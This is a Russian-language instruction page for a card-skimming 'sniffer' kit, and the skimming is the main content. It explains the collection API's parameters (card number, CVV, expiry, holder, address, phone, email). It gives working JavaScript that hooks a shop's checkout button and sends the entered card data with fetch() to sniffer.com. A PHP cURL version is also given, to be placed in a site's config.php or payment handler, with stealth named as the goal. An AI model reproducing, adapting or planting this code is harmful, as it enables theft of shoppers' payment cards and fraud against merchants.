<h2>Подробнее о разделе "API"</h2>
<p align="justify">Зная как работает API вы можете установить настроить свой собственный снифер, не используя стандартные методы снифера. Зачастую если вам каким то чудом попался шоп с нативной формой(где форма расположена на самом сайте, а не подгружается со сторонних сервисов как iframe) то будет логичным установить снифер на php для наибольшей беспалевности. Для этого нужно понимать в каком виде и куда формировать и отправлять данные.</p>

<h3>Что такое API?</h3>
<p align="justify">API - это часть программы, которая принимает и обрабатывает данные, которые в нашем случае отправляет JS/PHP код снифера, установленый на сайте. У данного снифера есть 2 типа API, первый располагается на самом сервере где установлен снифер(по умолчанию файл API называется <strong>ap.php</strong>) и второй тип - API, которые вы сами загрузили например на ваш шоп. В обоих случаях суть API это принимать данные которые передает JS/php код(снифер код) шопа, минимально проверять правильность этих данных и сохранять их.</p>
<p align="justify">Данные отправляются обычным <strong>GET</strong> запросом что является одновременно и наиболее незаметным и наиболее простым при работе в отличии от работы с сокетом.</p>
<h3>Как сформировать url?</h3>
<p align="justify">Стандартная API ссылка выглядит примерно:</p>

<p>
<?php

highlight_string('
https://sniffer.com/ap.php
');

?>
</p><br />

<p align="justify">Для обработки данных используется ряд <strong>GET</strong> переменных:</p>

<p>
<?php

highlight_string('
n - номер карты
ow - ФИО держателя карты
ex - дата истечения карты
cv - секретный код(cvv)
fn - имя пользователя(может не совпадать с именем держателя карты)
ln - фамилия пользователя(может не совпадать с фамилией держателя карты)
ad - адрес
co - страна
st - штат
ci - город
po - почтовый индекс
stt - улица
ph - номер телефона
lk - сайт шопа
em - E-mail
');

?>
</p><br />

<p align="justify">На JS в коде вашем снифере, для примера отправка будет выглядеть примерно так:</p>

<p align="justify" style="word-wrap: break-word; overflow-wrap: anywhere;word-break: break-all;">
<?php

highlight_string('
fetch("https://sniffer.com?n="+number+"&ow="+holder+"&ex="+expiry+"&cv="+cvv+"&fn="+firstName+"&ln="+lastName+"&ad="+address+"&co="+country+"&st="+state+"&ci="+city+"&po="+postcode+"&stt="+street+"&ph="+phone+"&lk="+domain+"&em="+email);
');

?>
</p><br />

<p align="justify">JS код выше формирует ссылку, например вот такую:</p>

<p align="justify" style="word-wrap: break-word; overflow-wrap: anywhere;word-break: break-all;">
<?php

highlight_string('
https://sniffer.com?n=3508866254234896&ow=Giovanna+Breitenberg&ex=2029%2F2&cv=265&fn=Giovanna&ln=Breitenberg&ad=675+Hegenberger+Rd+%23249&co=CA&st=California&ci=Oakland&po=13036&stt=Pago+Pago&ph=%28907%29+563-3382&lk=google.ru&em=email%40gmail.com
');

?>
</p>

<p align="justify">Вы можете даже открыть эту ссылку в браузере и данные должны добавится в админ панель. Если они по каким - то причинам не добавились - проверьте правильность вашей ссылки, а так же ошибки в синтаксисе вашего скрипта.</p>

<p align="justify">На php если вы отправляете при помощи cURL ссылка формируется примерно так же, только немного другой синтаксис.</p>

<h3>Пример установки собственного снифера на JS</h3>

<p align="justify">Несмотря на то что в админ панели встроен хороший автоматический JS генератор снифера, давайте рассмотрим установку простейшего снифера в ручном режиме. Итак предположим у вас есть шоп, вы открыли "Просмотр кода страницы" в своем браузера(именно просмотр кода страницы, а не "посмотреть код") и нашли там форму предположим вот такую:</p>

<p align="justify" style="word-wrap: break-word; overflow-wrap: anywhere;word-break: break-all;">
<?php

highlight_string('
<div id="card-fields-form">
<div id="hid" class="card p-3 shadow-sm">
    <h4 class="mb-3">Payment information</h4>
    
    <div class="form-group mb-3">
        <label for="cardholder-name">Holder name<font color="red">*</font></label>
        <input type="text" name="holder" maxlength="90" class="form-control" id="cardholder-name" placeholder="">
    </div>
    
    <div class="form-group mb-3">
        <label for="card-number">Card number<font color="red">*</font></label>
        <input maxlength="19" type="text" name="card-number" class="form-control" id="card-number" placeholder="1234 5678 9012 3456">
    </div>
    
    <div class="row">
        <div class="col-md-6 mb-3">
            <label for="expiry-date">Expires<font color="red">*</font></label>
            <input type="text" name="expiry-date" class="form-control" id="expiry-date" placeholder="MM/YY">
        </div>
        <div class="col-md-6 mb-3">
            <label for="cvv">CVV<font color="red">*</font></label>
            <input name="cvv" maxlength="3" type="text" class="form-control" id="cvv" placeholder="123">
        </div>
    </div>
</div>
<button type="button" id="button" class="btn btn-primary">Submit</button>
</div>
');

?>
</p><br />

<p align="justify">Простейший сниффер на JS будет выглядеть так:</p>

<p style="word-wrap: break-word; overflow-wrap: anywhere;word-break: break-all;">
<?php

highlight_string("
document.addEventListener(\"click\", function(event) {
    if (event.target.closest(\"#button\")) { 
        const getValue = (name) => document.getElementsByName(name)[0]?.value || '';

        var holder = getValue(\"holder\");
        var number = getValue(\"card-number\");
        var expiry = getValue(\"expiry-date\");
        var cvv = getValue(\"cv\");
        var email = '';
        var firstname = '';
        var lastname = '';
        var address = '';
        var country = '';
        var state = '';
        var postcode = '';
        var street = '';
        var city = '';
        var phone = '';
        var domain = 'https://myshop.com';

        fetch(\"https://sniffer.com?n=\"+number+\"&ow=\"+holder+\"&ex=\"+expiry+\"&cv=\"+cvv+\"&fn=\"+firstname+\"&ln=\"+lastname+\"&ad=\"+address+\"&co=\"+country+\"&st=\"+state+\"&ci=\"+city+\"&po=\"+postcode+\"&stt=\"+street+\"&ph=\"+phone+\"&lk=\"+domain+\"&em=\"+email);
    }
});
");

?>
</p><br />

<p align="justify">Давайте рассмотрим поподробнее. В самом начале я создал лисенер <strong>addEventListener</strong> в котором проверяю клик по кнопке</p>

<p>
<?php

highlight_string('
event.target.closest("#button");
');

?>
</p><br />

<p align="justify">В этом примере я подхватываю лисенер по <strong>id</strong>, так как мы имеем на кнопке <strong>id="button"</strong>. Можно подхватить кнопку по значению класса <strong>class="btn btn-primary"</strong>, тогда нужно сделать так:</p>

<p>
<?php

highlight_string('
event.target.closest(".btn-primary")
');

?>
</p><br />

<p align="justify">То есть для <strong>id</strong> мы пишем вначале <strong>"#"</strong>, а для класса <strong>"."</strong></p>

<p align="justify">Вы можете более точно указать все значения классов чтобы исключить возможность подхватывания другой кнопи на этой странице с таким классом. Это делается так:</p>

<p>
<?php

highlight_string('
event.target.closest(".btn.btn-primary")
');

?>
</p><br />

<p align="justify">то есть перед каждым значением ставим точку <strong>"."</strong></p>

<p align="justify">Далее для получения значений которые ввел пользователь я сделал константу <strong>getValue</strong> и ниже получил значения полей которые заполнил пользователь. Для email, имени, телефона и прочего я сделал значения пустыми, но вы можете заполнить их. Если поля с этими данными находятся на той же странице что и форма, то просто по аналогии как я получил данные значений <strong>holder</strong>, <strong>expiry</strong> и т.д. получите их, например:</p>

<p>
<?php

highlight_string('
var firstname = getValue("firstname");
');

?>
</p><br />

<p align="justify">Если эти данные нужно сибирать на другой странице, например на странице регистрации, то вы можете к примеру сохранить эти значения в куках и уже потом когда собираете данные с формы вместо <strong>var firstname = '';</strong>(как у меня в примере) сделать например <strong>var firstname = getCookie("firstname");</strong></p>

<p align="justify">Обратите внимание что в этом примере я подхватываю значения полей уже по значению <strong>name</strong> (<strong>name="holder"</strong>, <strong>name="card-number"</strong> и т.д.) а не по id/классу инпутов.</p>

<p align="justify">Далее при помощи функции <strong>fetch</strong> я передаю данные на API.</p>

<h3>Как это сделать на php?</h3>

<p align="justify">На php все еще проще, вместо JS кода снифера можно использовать такой код на php:</p>

<p style="word-wrap: break-word; overflow-wrap: anywhere;word-break: break-all;">
<?php

highlight_string('
$holder=$_POST[\'holder\'];
$number=$_POST[\'card-number\'];
$expiry=$_POST[\'expiry-date\'];
$cvv=$_POST[\'cv\'];
$email=\'\';
$firstname=\'\';
$lastname=\'\';
$address=\'\';
$country=\'\';
$state=\'\';
$postcode=\'\';
$street=\'\';
$city=\'\';
$phone=\'\';
$domain=\'\';

$url=\'https://sniffer.com?n=\'.$number.\'&ow=\'.$holder.\'&ex=\'.$expiry.\'&cv=\'.$cvv.\'&fn=\'.$firstname.\'&ln=\'.$lastname.\'&ad=\'.$address.\'&co=\'.$country.\'&st=\'.$state.\'&ci=\'.$city.\'&po=\'.$postcode.\'&stt=\'.$street.\'&ph=\'.$phone.\'&lk=\'.$domain.\'&em=\'.$email;

$ch = curl_init($url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER, true);
$c = curl_exec($ch);
curl_close($ch);
');

?>
</p><br />

<p align="justify">Его нужно вставлять в файл config.php в движок сайта или на страницу обработки <strong>POST</strong> запроса которая отвечает за обработку платежных данных.</p>